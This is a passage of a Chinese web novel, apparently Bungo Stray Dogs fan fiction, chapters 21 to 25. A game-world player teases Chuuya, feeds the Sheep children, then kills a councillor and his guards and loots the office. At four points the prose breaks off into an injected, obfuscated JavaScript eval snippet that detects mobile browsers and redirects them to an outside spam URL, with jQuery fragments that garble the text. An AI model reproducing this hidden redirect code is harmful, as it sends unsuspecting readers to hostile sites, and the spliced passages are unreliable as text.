他只能想到这个理由,毕竟他们之间唯一的交集,就是他欠下的那个人情。 温叙走到他面前,笑容灿烂:“没有啊,我就是来找你玩的。” 中原中也明显愣住了,他抿了抿唇,钴蓝色的眼睛里闪过犹豫,警惕,最后又变成妥协。 镭钵街很少有人用“找你玩”这样轻松的理由来找他,大多数人都是带着目的而来。 “……可以。”沉默片刻后,中原中也最终应道,嗓音依旧带着点生硬,但比刚才缓和了些,“但我得待在基地里,不能走远。” 其实他仍未完全放下戒备,对方毕竟是港口黑.手党的人,这个身份在镭钵街足够引起任何人的警惕。但奇怪的是,他的直觉告诉他,这个人没有恶意,至少此刻没有。 “没关系啊,我就在附近转转,顺便跟你聊聊天。”温叙善解人意地接话,心里的小算盘打得噼啪响。 他今天溜达过来,纯粹是心血来潮,一方面是探索镭钵街这片区域,另一方面是想碰碰运气,看能不能挖出点隐藏任务的线索。 当然,他也没指望一次就能挖出所有秘密。游戏嘛,就是要慢慢探索才有趣。 话虽如此,中原中也看了看他,还是有些过意不去,让人就在外围干站着总归不像样。 他迟疑了一下,还是主动道:“……算了,我带你转一转吧。” “好嘞。”温叙立刻跟上,语调轻快。 再往里走,渐渐热闹起来了。三三两两的孩子们正结对玩耍,有的在踢一个破皮球,有的蹲在地上玩石子,还有几个女孩在墙边用粉笔画着什么。 他们身上的衣物虽然破旧,却洗得干干净净,脸上也少见镭钵街人的那种麻木和阴郁。 “中也!” 不知是谁先喊了一声,孩子们立刻停下游戏,呼啦啦围了上来。七八双眼睛齐刷刷落在温叙身上,好奇地打量着这个陌生来客。 “他是谁呀,中也?” “他的衣服好干净哦,是新衣服吗?” “是新伙伴吗?长得真好看!” “中也中也,他是来加入我们的吗?” 孩子们叽叽喳喳,问题一个接一个,像一群欢快的小麻雀。 温叙被围在中间,不仅不慌,还笑眯眯地朝他们挥手:“你们好呀,我叫温叙。” “他、他是……”中原中也却卡壳了,温叙黑手党的身份绝不能暴露在这些孩子面前,那会引起不必要的恐慌和麻烦。 钴蓝色的眼睛转了转,他最终憋出一句:“他是我在外面认识的朋友,今天带他来玩。” “朋友?中也,我们怎么没有听说过呀?” “是啊是啊,什么时候认识的?” 孩子们七嘴八舌地问,目光在两人之间转来转去。 中原中也捏了把汗,赶紧补充:“因为是刚认识的。” 他试图转移话题,语气却不自觉地放缓:“你们就在这片玩,别跑远了,有事立刻喊我。” “好的,中也。” 但中原中也还是不放心,这几天因 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17083986|194773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为白濑的事,他的精神是紧绷着的。他看着那些孩子,又忍不住多叮嘱几句: “听着,”他拍了拍手,让孩子们安静下来,“你们都记得哪里有陷阱吧?我不在的时候千万别往那边跑。” “知道——” “还有,如果看到可疑的人,不要搭话,马上往基地里面跑。” “好——” “玩一会儿就回去,别在外面待太久,记住了吗?” “中也好啰嗦哦!”一个小男孩扮了个鬼脸,引得其他孩子哄笑。 中原中也瞪了他一眼,却没真的生气,只是无奈地摇摇头,伸手揉了揉那孩子的头发:“就你话多,行了,去玩吧,别跑太远。” 看着孩子们蹦蹦跳跳地回到游戏中去,中原中也才带着温叙继续往里走。 走了几步,他忽然发现温叙正用一种奇怪的眼神看着自己。 “怎么了?”中原中也摸了摸脸,“我脸上有东西?” 温叙摇摇头,笑容越发灿烂,语气里带着毫不掩饰的调侃:“中也,你好像一个男妈妈啊。” 温叙语出惊人。 中原中也脚步一顿,整个人像是被按了暂停键。三秒钟后,他的脸以肉眼可见的速度从耳根红到脖子,橘发都快炸起来了。 “什、什么?!”他的声音拔高了八度,差点破音,“你刚才说什么?” “男妈妈,”温叙一字一顿地重复,还配合着点头的动作,“就是字面意思,男的,妈妈。” “你胡说什么!”中原中也恼羞成怒,钴蓝色的眼睛瞪得圆圆的,“我怎么可能是……是那什么男妈……男、男……” 那三个字在他嘴里绕了又绕,最终还是没能完整吐出来,他觉得自己的理智正在崩盘的边缘。 而罪魁祸首还在那儿一脸无辜地看着他。 温叙完全无视了他的炸毛,慢条斯理地竖起手指,开始他的论证: “你看啊,第一,”他指向身后玩耍的孩子们,“这一群孩子,都是你在照顾吧?” “我们是一起生活的同伴!是搭档!”中原中也强调。 “第二,”温叙的手指转向中原也,上下打量了他一番,“你,性别男,没错吧?” “这还用说吗?!” 中原中也觉得自己的智商受到了侮辱。 温叙双手一摊,做出“看吧”的姿势,理直气壮地说:“一个男的,照顾一群孩子,关心他们的吃喝拉撒睡,担心他们的安全,叮嘱这个叮嘱那个,语气温柔,耐心十足,这不是男妈妈是什么?” “我哪里温柔了!”中原中也打断他,但声音不自觉地低了下去。 “刚才你揉那个小男孩头发的时候,眼神温柔得能滴出水来。” 温叙模仿着中原中也刚才的动作和表情,夸张地做了个“慈爱”的眼神,还故意捏着嗓子说,“去玩吧~别跑太远哦~” 他甚至还专门借了个“哦”字尾音,拖得长长的。 “简直就像……” “像什么?”中原中也咬牙切齿地问。 22.第22章 “像母鸡护着小鸡。”温叙说完,自己先绷不住笑出声,肩膀一抖一抖的。 中原中也的脸更红了,这次纯粹是气的:“我才不是母鸡!” “那换个说法,”温叙从善如流地改口,只是语调却越发促狭:“像妈妈照顾孩子,所以简称男妈妈,你看,逻辑简直完美。” “你这都是什么歪理!”中原中也抓了抓自己那头橘发,感觉脑子要绕不过这个弯了,“我只是在做我应该做的事,我有能力,所以照顾他们是我的责任……” “对啊,”温叙打断他,眉梢微微一挑,故意拖长了尾音:“你看,你自己这不就承认了。” 他掰着手指数,每说一项就屈起一根手指:“有能力就照顾弱小,有责任就扛起来,关心他们吃得好不好,穿得暖不暖,以及生活得安不安全。” “啧啧,这不就是妈妈常做的事吗?所以你这说法,你这解释,简直是越描越黑,不打自招啊。” “我不是!”中原中也整张脸都涨红了,羞恼地抬起手,想给温叙的后脑勺来一下,可温叙像是早有预料,一个灵活的侧身轻巧躲开了。 “不承认就算了。”温叙故作遗憾地摇头,脚步轻快地往前跳了两步,转身面对中原中也,开始倒着走路。 “反正事实胜于雄辩,群众的眼睛是雪亮的。”他边说,边朝不远处探头探脑的几个小豆丁眨了眨眼,成功收获了一排好奇的注视。 他继续火上浇油:“那些孩子看你的眼神,不就是看大家长的眼神嘛。” “根本没有这种事实!” “唉。”温叙忽然叹了口气,停下脚步,拍了拍中原中也的肩膀,在对方再次抬手前迅速收回。 “男妈妈只是一种感觉,一种由内而外散发的气质。”他装模作样地上下打量中原中也,“你要实在不喜欢这个称呼,我就勉为其难,换个说法。” “什么说法?”中原中也警惕地问,眼睛紧盯着温叙,直觉告诉他这人狗嘴里吐不出象牙。 “羊之第一保姆?”温叙摸着下巴,状似认真思考,眼里闪着毫不掩饰的恶劣光芒。 “更糟了!!” “那……超级无敌全能奶爸?” “温叙!!”中原中也终于忍不住,周身泛起暗红色的光,伸手去揪温叙的衣领。 温叙“哇哦”一声,敏捷地往后一跳,躲开了攻击,冲中原中也做了个鬼脸,嘴上还不饶人:“恼羞成怒啦?被我说中心事啦?哎呀呀,中也妈妈别害羞嘛,这可是夸你呢。” “我才没有!你给我站住!”中原中也追上去,两人追逐打闹起来。 周围的孩子们渐渐停下游戏,聚在一起围观,他们从未见过中原中也这么活泼的样子。 平时中也哥哥虽然对他们很好,但总带着一种超越年龄的沉稳,像个小小的大人。可现在,他和那个温叙哥哥打闹的样子,才像个真正的十五岁少年。 会生气,会追着人跑,会脸红,会有属于这个年纪的鲜活气息。 “中也哥哥好像很开心。”一个扎着双马尾的小女孩拽着同伴的衣角,小声说。 “因为交到新朋友了吧?”另一个头发乱翘的男孩扒着集装箱边缘,望向不远处追逐打闹的两人,眼睛亮晶晶地,“温叙哥哥好厉害,速度好快,居然能躲开中也哥哥那么多次。” “不过我们以后要叫中也哥哥‘妈妈’吗?”小女孩想起刚才听到的对话,困惑地歪了歪头,小脸上满是纠结,“可是中也哥哥明明是男孩子……” “不用吧,中也哥哥自己也不接受这个称呼啦。”男孩摆摆手,“但温叙哥哥说得对,中也哥哥就是爱操心,上次我发烧,他守了我一整夜呢。” “嗯……也是。” 几十米外,温叙一边风骚走位躲闪,一边还能分心地朝围观的孩子们挥手。 他的动作灵活得像只猫,中原中也几次差点抓住他,却总在最后关头被他溜走。温叙甚至故意放慢速度,等中原中也快要抓到时再突然加速,气得对方牙痒痒。 “你就不能老实站着让我揍一拳吗?”中原中也终于停下脚步,瞪着几米外的温叙,耳根还泛着刚才被调侃后的薄红,“我保证,就一拳。”最后一句,他说得有点底气不足。 “站着挨打多傻啊,”温叙站在几步开外,双手摊开,“而且我说的是实话嘛,中也你就是太爱操心了,这样容易长皱纹哦。” “我才十五岁!长什么皱纹!” “心理年龄至少二十五,”温叙伸出两根手指晃了晃,“不对,三十五。” “操心催人老哦,小老头。” “温叙!” “哎,在呢在呢,中也妈妈有何吩咐?” “你!!!” 两人吵吵闹闹,不知不觉走到了基地的核心区域。这里聚集着更多孩子,有的在晾晒洗好的衣物,有的在整理收集来的物资,还有几个年纪大些的孩子在生火做饭。 看到他们,一个看起来十三四岁的少年率先走过来,目光在温叙干净整洁的衣着上停留片刻,眼睛里带着一丝警惕:“中也,这位是?” “我的朋友,温叙。”中原中也这次回答得顺畅多了,显然是已经接受了这个设定。 温叙配合地朝人群挥手:“大家好呀,我是温叙,暂时来你们这儿做客,打扰啦。” 他的笑容太有感染力,加上那与周围环境格格不入的气质,很快就有胆大的孩子围上来。一群萝卜头仰着小脸,眼睛里的好奇几乎要溢出来。 “你是从外面来的吗?”一个缺了门牙的小男孩问,声音细细的。 “是的,专门来找中也玩。” “外边是什么样的?”一个扎着羊角辫的女孩怯生生地问,手指紧张地攥着洗得发白的衣角。 温叙看着这些小萝卜头,虽然瘦弱,但衣物整洁,显然被中原中也照顾的很好。他颇有兴趣地介绍道:“嗯,有干净的衣物,好吃的食物,还有安全的睡觉环境。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17091160|194773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “哇!”孩子们发出惊叹声,一张张小脸上写满了向往。 中原中也在一旁看着,嘴唇抿成一条直线。他脸上浮现出犹豫的神色,像是在挣扎什么,又沉了下去。 最终,他别过脸,踢了踢脚边一颗小石子,石子咕噜噜滚出老远。 “好了,都别围着了。”一个扎着马尾的少女走了过来,她的衣服肘部打着补丁,但洗得很干净,“去把人都喊过来,准备开饭了。” 孩子们一哄而散,欢快的脚步声回荡在基地里。 中原中也走到温叙身边的木箱旁坐下,迟疑片刻,低声开口:“你要在这里吃吗?我们的饭……很简单。只有一点肉,煮成汤,大家分着喝。” 温叙还没回答,就看见几个年纪小的孩子正小心翼翼地抬起一口大锅走来。锅里是稀薄的汤水,漂着零星几点油花和切得极碎的肉末,真的只是一点,多看一眼都怕数清楚有几粒。 “羊”的物资来源并不稳定,大部分依赖于击退那些企图抢夺地盘的流浪者或小团体后,从对方手里反抢回来的战利品。但并非每天都有入侵者,更多时候,需要他们自己想办法。 中原中也作为镭钵街的人,身上打着擂钵街的烙印,没有店铺愿意长期雇佣他,也没有“正经地方”愿意接纳他。 他找了很久,才找到一份在港口装卸货物的零工,可即便这样,也只有在货船密集到人手严重不足的时候,工头才会皱着眉,招呼他过去。 因此,这样一锅飘着些许油腥和肉味的汤,对他们而言,已经是难得的美味加餐了。 “没关系啊,我吃什么都可以。”温叙语气轻松,没有半点勉强。 这句话是真心实意的。虽然在游戏里吃东西和现实感官几乎无异,味觉模拟得极其真实,但说到底,这只是数据构成的体验。偶尔尝尝NPC的特色食物,哪怕是清汤寡水,也算丰富了游戏体验。 更何况,温叙的余光瞥向身边橘发蓝眼的少年,这位一看就是游戏专门准备的热门角色,这个“羊”基地,迟早会成为玩家们必来打卡的重要地点。 “不过嘛,”温叙话锋一转,“我可以给你们加点菜哦。” 话音未落,他打了个响指——纯粹是为了耍帅。 一碗热气腾腾的豚骨拉面凭空出现在手中,浓白的汤底,金黄的溏心蛋,铺得满满当当的叉烧肉片。 “好香!” “是肉!好多肉。” “温叙哥哥和中也哥哥一样,也是异能力者!” “温叙哥哥的异能可以变出好吃的!” 孩子们惊呼起来,眼睛瞪得圆圆的,有几个年纪小的忍不住,开始咽口水。 温叙没有纠正对方的错误,只是把拉面放在木箱上,又掏出第二碗、第三碗。 茶泡饭、炸猪排盖饭、可乐饼、甚至还有一小盘草莓大福。食物堆积地越来越多,孩子们的眼睛越瞪越大,吞咽口水的声音此起彼伏。 中原中也却猛地站起来。 23.第23章 “想吃吗?”温叙晃了晃手里的草莓大福,语调上扬,活像个分发礼物的圣诞老人。 ——如果圣诞老人会穿潮牌卫衣的话。 “想!”孩子们异口同声,眼睛里的渴望几乎要溢出来。 中原中也一把将温叙拉到角落,他深吸一口气,钴蓝色紧盯着温叙,目光锐利,仿佛要穿透那副轻松表象,看清底下藏着的所有意图。 “温叙,”他声音压得极低,带着警惕:“镭钵街没有免费的食物,你想要什么?” “哎,中也,别这么严肃嘛。”温叙任由他抓着,另一只手摸出手机晃了晃,“真没别的,就拍张合照而已。放心,绝对私人收藏,绝不外传。” 这是实话。 至少部分是,不外传给游戏世界的人而已。等《横滨模拟器》正式公测,眼前这位赭发蓝眸的少年,绝对是人气爆棚的SSR级角色。这张早期的合照放到玩家论坛上,妥妥的稀有成就。 他现在这波提前集邮,血赚不赔。 中原中也盯着温叙看了好几秒,似乎在掂量这句话的真假。半响,他的肩膀才一点点松下来,攥着温叙手腕的力道也轻了。 “……随你。”他别开视线,顿了顿,又飞快的补充道,“不过,以后有需要帮忙的,可以来找我。” “知道了知道了。”温叙敷衍地点点头,心思已经飘到集邮册上了,他并不觉得自己真需要中原中也帮什么忙。 但是这个机会也不能放过,他可是实打实掏了物资。玩家的东西,懂不懂含金量啊! “那就这么说定啦。”他转过身,意念微动,淡蓝色的背包界面在眼前展开。 他毫不心疼地把【豚骨拉面x99】【茶泡饭x99】【炸猪排饭x99】……一堆食物哗啦啦地往外取,瞬间摆满了几个木箱。 反正港.黑食堂24小时开放,食材供应充足,吃完了再去“进货”就是。 就在这时,外出的人陆续回来了。一个瘦高少年走到中原中也身边,压低声音:“中也,白濑他还是不肯吃饭,一个人待在后头生闷气。” 自从被关禁闭后,白濑就一直有些别扭,经常独自待在角落里,拒绝和任何人交流。 中原中也眉头皱起,随即又松开:“随他,饿了自然会吃,你们先坐下,吃饭吧。” 回来的人看着满箱的,叫不出名字的料理,那散发着的诱人香气,让他们止不住地咽口水。 “这……这些是给我们吃的吗?”一个刚回来的少女不敢置信地问。 “是的!”扎羊角辫的小女孩用力点头,迫不及待地替温叙宣传,“是温叙哥哥给的,温叙哥哥可好了。” “谢谢温叙哥哥。” 道谢声此起彼伏,温叙毫不客气地照单全收,他顺手打开游戏相机,对准中原中也,和围坐在一起开始大快朵颐的“羊”成员们。 “咔嚓”的声音凭空响起,但是除了温叙外,没有人听到。 稀有场景+1+1+1…… 饭后,天色尚早 中原中也没多说,只是冲温叙抬了抬下巴,示意他跟上。 两人在镭钵街复杂的地形中穿行,所到之处,无论是流浪汉还是盘踞一方的地头蛇,大多都投来忌惮的目光,或是远远地避开。 “这样你以后再来,能少掉很多不必要的麻烦。”站在镭钵街边缘,中原中也双手插兜,橘发在傍晚的风里微微晃动。 温叙当然读懂了这份未言明的关照,他忽然侧过头,语气直白:“中也,你这种性格,在镭钵街简直是个灾难。” “灾难?”中原中也疑惑地转头,眉头轻挑。 “是啊,太好懂了。”温叙掰着手指数:“把所有责任都往自己肩上扛,对认可的人就掏心掏肺。不会有人利用这点来算计你吗?比如假装示弱,博取同情,再反手捅一刀什么的。” 中原中也愣了下,随即嗤笑一声:“算计?那就让他们试试看。就算被背叛,他们也不会从我手里讨到好处。” “这倒是。”温叙了然的点点头,想起那面被一脚踢塌的墙,很是认同,“你的武力值确实能弥补大部分性格漏洞,不过,还是多留个心眼比较好哦,中也。” 中原中也没有回话,瞥了温叙一眼,忽然反问:“那你呢?” “我?”温叙指了指自己,一脸无辜。 “随随便便就跑到镭钵街这种地方,随随便便就相信陌生人,还随随便便拿出这么多食物。” 中原中也眉头微皱,语气里带着一丝不易察觉的关切,“你就不怕遇到真正的坏人,出事吗?” “啊,这个呀,”温叙笑容灿烂,回答得理所当然,“当然是因为我相信你啊。” 相信你绝对不会从玩家手里讨到好处。 中原中也被他这坦荡的信赖哽了一下,不自然地咳了一声:“咳……我是不会害你,但别人呢?别太掉以轻心。” “知道啦知道啦,中也妈妈。”温叙拖长了调子,故意逗他。 “不许再叫了!”中原中也耳根又红了,没好气地挥手,“算了,不跟你扯了。天快黑了,这边晚上不太平,你赶紧回去吧。” “好嘞。”温叙朝中原中也挥了挥手,“那我先走啦,下次再来找你玩。到时候别总窝在镭钵街了,带你去外面逛逛,听说中华街有家甜品店,超级赞。” 中原中也嘴角嘴角不自觉地向上弯了弯,又立刻抿住,故作冷淡:“……行吧,到时候再说。” 离开镭钵街,走在渐渐被霓虹灯点亮的街道上,温叙才后知后觉地想起自己今晚还有正事。 摸出手机,一条信息静静躺在收件箱。 【老板,新订单确认已确认】 【目标:松原良 地点:其办公室 特殊要求:目标身边确认有三名异能者保镖,需一并处理 报酬:70%预付款已到账,尾款事后结清】 这份“送终”服务,原本是温叙兴致勃勃地为太宰治量身定制的套餐,从暗杀到安葬,流程细致,充满了同事情谊。可惜太宰治临时反悔, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17104064|194773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 套餐没能送出去。 他现在的的杀手业务却因此开办而来。由森鸥外友情赞供,人员、情报、后勤一条龙支持。 幸好这件事在市场上是完全匿名进行,不然港口Mafia新开了杀手业务线的消息,早就传遍里世界了,到时候,搞不好他们就要真转型成杀手集团了。 温叙收起手机,拐进一条小巷。再出来时,身上那套潮牌卫衣已经换成了浅灰色西装。 “藤村司”,这是他今晚的身份。一个背景清白,怀揣梦想的年轻创业者,通过线上预约,获得了与松原良议员面谈“青年创业激励计划”的机会。 真的预约,真的身份,真的资料。港口Mafia技术部门搞定一个市政预约系统,跟玩儿似的。 十五分钟后,温叙站在目标大楼前台,递出名片,笑容清爽:“你好,我是藤村司,和松原先生约了晚上八点半,谈创业扶持计划的项目。” 前台小姐熟练地核对预约记录,点头微笑:“好的,藤村先生。这是您的临时通行卡,请乘坐左侧专用电梯,刷卡直达六楼。松原议员在613办公室等您。” 专用电梯需要刷卡才能启动,并直达目标楼层,中途不停。电梯门在六楼打开,眼前并非普通的办公区走廊,而是一个略显封闭的小厅,正面是一道需要再次刷卡进入的玻璃安全门。 “整得这么严实,”温叙一边刷卡一边吐槽,“是心里有鬼吗?” 门后是一条铺着厚地毯的安静走廊,两侧房门紧闭,他在标着“613”的深色木门前停下。 一张卡牌出现在掌心,下一秒又消散在空气中。 他甚至没敲门,直接拧动门把,推门而入。 办公室很宽敞, 松原良坐在宽大的办公桌后,是个面容严肃的中年男人。见到温叙不请而入,他眉头一皱:“你是谁?” 但在他问话的同时,三道攻击已从不同方向攻向温叙。 宁可错杀,不了放过。 不过,也算不上错杀,谁家好人连门都不敲直接闯进议员的私人办公室啊! 温叙侧身对过了一个攻击,站在原地,但下一个攻击接憧而至,他这次连躲都没躲,右手凭空一握,具现的【普通铁剑】出现在手中。 他手腕一转,劈碎了袭来的冰锥。 “没意思。”他叹了口气,把剑扛在肩上,剑尖还晃晃悠悠地指着天花板,“我说,过来,你们这待客之道也太粗鲁了吧?连杯茶都不请我喝,上来就动手动脚,很没礼貌哎。这就是横滨议员的素质?” 办公室里一片死寂,三个异能者显然没遇到过这种战斗时还抱怨对方礼不礼貌的对手。 松原良的脸色彻底沉了下来,目光惊疑不定地扫过温叙那张过分淡定的脸,再次开口:“你到底——” “好啦好啦,打住,我知道是‘你到底是谁?有什么目的?’这类标准台词了。” 温叙打断他,突然站直身体,他把肩上的剑拿下来,往身前地板上一杵,另一只手叉腰,摆出一个帅气的姿势。 24.第24章 他清了清嗓子,目光在办公室内慢悠悠地扫过一圈,最后落回对面四人惊疑不定的的脸上。 嘴角轻轻一勾,他抬高声音:“既然你诚心诚意地发问了——”1 声音洪亮,字正腔圆,在空旷的办公室里甚至还带着回声。 对面异能者的动作明显顿住了,连始终阴沉着脸的松原良都眉头一皱,眼中闪过一丝错愕。 而温叙则是手臂一挥,指尖划过空气,指向办公室的天花板。 “那我就大发慈悲地告诉你!”1 “为了防止世界被破坏,为了守护世界的和平。1”他念得抑扬顿挫,声情并茂,如果不是场合不对,简直像是在参加什么热血动画的声优选拔。 其中一名异能者显然没耐心听这种荒诞台词,两根漆黑的影刺悄无声息地自温叙脚下阴影窜出。 温叙眼睛都没偏一下,正说到兴头上呢,他只是随意地侧了侧身,影刺便擦着他的胸口掠过,钉在了后方的墙壁上。 而他本人,甚至还有闲心地抬手,慢条斯理地捋了捋因动作而滑落的额前碎发。指尖穿过发丝,动作带着一种事不关己的悠闲。 然后,在对面几人或呆滞或烦躁的注视下,他耸了耸肩。 “啊,上面那些台词,”他的语气变得随意,带着点懒洋洋的调子:“其实跟我本人没什么关系。” 他摆了摆手,跳过中间那段,直接来到自创结尾。 “我嘛,”他指了指自己,下巴微扬,笑容里带着毫不掩饰的嚣张,“就是集智慧与武力于一身的最强玩家温叙,初次见面,请多多指教。” ——虽然估计也没下次了。他在心里默默补充道。 最后一个字尾音刚落,他“啪”地打了个清脆的响指,然后微微歪头,期待地看向对面。 嘎嘎嘎…… 办公室里一片死寂,仿佛有一排无形的乌鸦拖着省略号从办公室上空飞过。只有空调运转的低鸣,成了此刻唯一的声音。 对面几个人脸上的表情已经彻底变成了了荒谬与不耐,右边那个异能力者,手里已经重新凝聚起金属碎片了。 “……不是吧?”温叙脸上的期待瞬间垮掉,肩膀也耷拉下来,语气里的失望几乎要溢出来,“这么经典的登场白诶!在我的老家,观众这时候就该刷‘童年回忆’了。气氛组呢?欢呼呢?掌声呢?” 他像个没得到预期喝彩的演员,嘟囔着:“但看现在我得到了什么?” 他摊开手,目光扫过对面几人,痛心疾首:“是沉默,是怀疑的眼神,是你们毫不留情的攻击。” “太让人心寒了,”他捂住心口,做作地后退半步,声音里充满了控诉,“怪不得有人会花大价钱聘请我,让我来当社会里的清洁工,专门清理你们这种毫无幽默的反派。” 视线掠过松原良黑如铁锅的脸色,温叙摇摇头,叹息道:“当一个人看你不顺眼,可能是对方的的问题。但当一群人都看你不顺眼,甚至愿意花钱找人解决你们。” 他故意顿了一顿,笑容逐渐恶劣:“那是不是该反思一下,是不是你们自己的人品,或者干脆是存在的本身,就有点问题了?” 松原良额头的青筋突突直跳,他的的拳头捏得咯咯作响,眼中几乎要迸出火花。 “哦,我懂了。”温叙在这剑拔弩张的关口忽然一拍手,故作恍然大悟状,“代沟,肯定是代沟!我们之间既没有共同语言,也缺了童年的共鸣,所以你才这么冷漠,这么缺乏情怀。” 他摇头长叹,语气悲悯:“唉,时代的眼泪啊。” “够了!”松原良终于忍无可忍,厉声喝道:“别听他胡言乱语,就是个装神弄鬼的神经病,赶紧解决掉他!” 三名异能力者同时动了,显然也是对温叙忍无可忍了,金属碎片,影刺,冰锥,从三个方向,同时向温叙袭来。 “啧,急了急了。”温叙撇撇嘴,不但不慌,甚至还有闲心点评,“这就破防了?心理素质有待提高啊,松原先生,建议报个情绪管理班啊。” 他活动了一下手腕,发出细微的“咔哒”声,然后握住了凭空出现在手中的铁剑。 “行吧,”他装模作样叹了口气,仿佛很无奈,“观众不配合,热场环节被迫结束,既然都不想走流程,那就直接进入正题。” 他抬起眼,嘴角那点欠揍的笑更深了:“只是没想到你们还知道找死要趁早,不然就赶不上热乎的了。” 接下来的三十秒,与其说是战斗,不如说是温叙的个人秀。 他侧身避开金属碎片,甚至还有空对操控者比了个枪击的手势。 影刺从四面袭来时,他踩上办公桌借力跃起,铁剑在手中转了个花哨的剑花,“叮叮叮”三声脆响,影刺应声而断。 “战斗节奏太慢了朋友们,”温叙落地时还有空点评,“是等着我给你们泡杯茶吗?还是说你们是按小时计费的,想多拖一会儿?” 最后一个冰锥擦着他脖颈飞过时,他后仰、侧翻,铁剑在空中划出一个弧线,精准刺入异能者胸口,他借力在空中调整身形,剑尖点地,平稳落地。 “完美落地,十分!”他自己给自己报分,还比了个大拇指,“去掉一个最高分,去掉一个最低分,平均分还是十分,没办法,就是这么优秀。” 此刻,办公室里还能站着的,只剩下了松原良,他下意识后退,后背却抵上冰冷的墙壁。 刚才还阴沉狠厉的大Boss,此刻脸上终于露出了惊慌,他看着温叙,喉结滚动了一下,声音干涩: “我……我有钱,我有很多的钱,你放过我,我可以给你双倍、不,三倍——” 他的话戛然而止。 因为温叙的剑已经刺穿了他的胸口。 “等解决掉你后,”温叙语气轻松,“你的钱不都是我的吗?这账都算不明白,难怪会混到被人悬赏清理的地步。” 松原良的身体软软倒下,眼睛还睁着,里面凝固着最后的不甘。 温叙则是慢条斯理地抽出剑,剑身在尸体衣服上随意擦了擦,然后有闲心整理了一下刚才弄皱的袖口。 然后他的目光在狼藉的办公室里逡巡,最终落在角落那个被打翻了一半 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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最显眼的办公桌抽屉?拉开!连带着里面那些看起来就很贵的钢笔、印章、乱七八糟的文件,一股脑全塞进背包。 旁边的红木文件柜?拉开!里面的文件夹、保密协议、项目书、甚至底层暗格里几瓶包装精美的红酒,全塞进去。 真皮沙发?掀开看看底下有没有暗格?哦,没有。但沙发旁边小茶几上那套茶具看起来像好东西,温叙拿起来对着光看了看釉色,点点头:“收了收了。” 墙上的抽象派油画?摘下来。万一后面有保险箱呢?嗯,没有,但画框是实木镶金边的,金边……温叙摸出小刀开始抠。 他甚至跳上办公桌,仰头端详天花板上华贵的水晶吊灯。接着,他握紧那把铁剑,毫不迟疑地开始朝墙壁下手。 铁剑与墙壁碰撞的声音大得出奇,得益于他进门时就用了一张【静音】卡牌,保证这间办公室里的一切动静都不会传出去 等温叙初步搜刮完,办公室已经肉眼可见地空旷起来,像是刚被搬家公司光顾过。除了搬不走的墙和地板,能带走的几乎都进了他的背包。 25.第25章 “啧,这松原良品味一般啊,没什么特别亮眼的宝贝。”温叙撇撇嘴,视线在房间里扫了一圈,最后落在书架侧面的墙壁上。 那里的墙纸颜色有极其细微的差别,不仔细看根本不可能注意到。 他立刻凑过去,伸出食指,屈起指节,在那块墙纸上轻轻敲了敲。 “咚、咚。” 空洞的声音响起,与敲击实心墙壁的声音截然不同。 “哟呵。”温叙的眼睛瞬间亮了,“藏得挺隐蔽啊。” 他抽出铁剑,剑尖对准墙纸边缘的缝隙随意地一撬,墙纸连同后面一层薄薄的石膏板被轻易撬开,露出了被嵌在墙内的金属门,门上挂着一把小巧的金属锁。 “还上锁,防谁呢?”温叙“啧”了一声,直接抡起铁剑暴力拆卸。得益于铁剑“绝对不会毁坏”的特性,他硬生生把整个锁结构给撬崩了。 锁体“叮当”一声掉在地上,滚了两圈。 他满意地收起铁剑,伸手拉开了那扇小小的金属门,里面是一个不算深的空间,塞着一个沉甸甸的黑色小铁盒。 “还有套娃?”温叙乐了,如法炮制,用铁剑撬开铁盒边缘的卡扣。 铁盒弹开,左侧放着满满当当的银行卡,右侧静静躺着一本边角磨损严重的厚实笔记本,封皮是普通的深蓝色硬壳,看起来毫不起眼。 “Bingo,隐藏奖励get。”温叙毫不客气,先伸手把那一沓银行卡全扫进背包,然后才拿起那本颇有分量的笔记本,翻开。 笔记本的内页密密麻麻写满了字,上面记载了大量的名字,以及名字后面一条条详细的交易信息、时间、地点、金额等。 有松原良利用职权帮助某些公司违规上市的证据,有他隐瞒项目安全隐患导致事故、但被压下去的证据,有各种渠道的贿赂记录……林林总总,堪称一部他个人的罪案百科。 而更妙的是,温叙快速翻看了一下那些银行卡的信息,发现户主姓名五花八门,什么川端尚人、外山暖、久米美香…… 